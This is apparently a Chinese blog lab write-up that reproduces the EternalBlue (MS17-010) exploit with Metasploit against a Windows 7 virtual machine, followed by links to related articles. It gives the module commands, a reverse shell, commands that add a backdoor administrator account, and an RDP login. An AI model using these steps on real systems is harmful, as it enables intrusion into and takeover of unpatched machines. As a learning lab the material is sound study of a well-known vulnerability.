MSF-17010(永恒之蓝)复现

最近开始学习渗透，永恒之蓝漏洞很出名对此学习记录并且复现

所需环境VMware，两台主机使用NAT模式连接

kali	192.168.249.129
windows7	192.168.249.130

PING命令测试主机连接情况

当时发现kali单方ping不通win7，排查后需要先关闭win7防火墙

输入命令msfconsole 进入msf框架

命令search ms17-010 寻找ms17-010相关漏洞

这里前两个是辅助模块用来帮助探测主机是否存在该漏洞，后三个是利用模块

输入命令use auxiliary/scanner/smb/smb_ms17_010，show options 查看配置信息

输入命令set rhost 192.168.249.130 探测该目标

1.显示绿色说明该主机存在ms17-010漏洞
2.真实情况下使用命令扫描整个网段或使用nmap扫描

输入命令use exploit/windows/smb/ms17_010_eternalblue选择攻击模块并查看配置

反弹shell，获得权限

输入命令chcp 65501去除乱码

添加用户abc密码abc并把该用户加入用户组Administratos命令如下

net user abc abc /add
net localgroup Administrators abc /add

最后在kali上使用远程连接，命令如下

rdesktop 192.168.249.130
注：Widows 7 默认是不开启远程服务，自己测试时需要先启用远程功能

登录成功，复现结束

MSF-17010(永恒之蓝)复现相关推荐

Metasploit渗透框架介绍及永恒之蓝复现
Metasploit渗透框架介绍及永恒之蓝复现一.Metasploit渗透框架介绍 1.1 名词解释 1.2 MSF简介 1.3 MSF框架结构 1.4 MSF命令汇总 1.4.1 常用命令 1.4 ...
Win7经典漏洞永恒之蓝复现
Win7经典漏洞永恒之蓝复现环境信息收集确定漏洞渗透渗透成功后一些常用操作环境工具:metaspoilt 模拟攻击机ip:192.168.2.19 靶机ip:192.168.2.22 信 ...
利用永恒之蓝入侵服务器复制文件,msf利用永恒之蓝进行漏洞攻击
1. 永恒之蓝Eternalblue 攻击 Eternalblue 通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞恶意代码会扫描开放445文件共享端口的Windows机器, ...
MSF利用永恒之蓝渗透win2003
1.信息收集 (1)使用Nmap工具进行扫描,发现开放了445端口,尝试利用ms17_010漏洞. (2)运行metasploit. 2.漏洞探测 (1)查看漏洞模块. (2)使用Auxiliary ...
永恒之蓝复现（win7/2008）
Kali对Windows2008/7的MS17010漏洞测试(MSF自带模块) 0x01 说明其实这个MSF自带的exp模块还是挺让人伤脑筋的,因为它支持的OS并不是很多,也就Windows S ...
kali利用MSF对永恒之蓝漏洞入侵windows7
warning 本文目的并不是教会学者入侵win7主机, 而是加强防范 kali入侵win7 步骤一:实验环境的搭建攻击机:kali(2022.3版本) 靶机:win7 专业版 sp1 x64位安 ...
MS17-010（永恒之蓝）漏洞分析与复现
文章目录一.漏洞简介 1.永恒之蓝介绍: 2.漏洞原理: 3.影响版本: 二.漏洞复现复现环境: 复现过程: 1.主机发现: 2.使用MSF的永恒之蓝漏洞模块 3.使用ms17-010扫描模块,对 ...
MS17-010（永恒之蓝）漏洞复现
漏洞原理:永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机.只要用户主机开机联 ...
永恒之蓝 ms17_010漏洞
复现环境: 攻击机:Linux kali(192.168.119.128) 靶机:Windows 7 x64(192.168.119.129) 实验条件:两台机子可以相互ping通,并且靶机(无补丁) ...

MSF-17010(永恒之蓝)复现

MSF-17010(永恒之蓝)复现相关推荐

最新文章

热门文章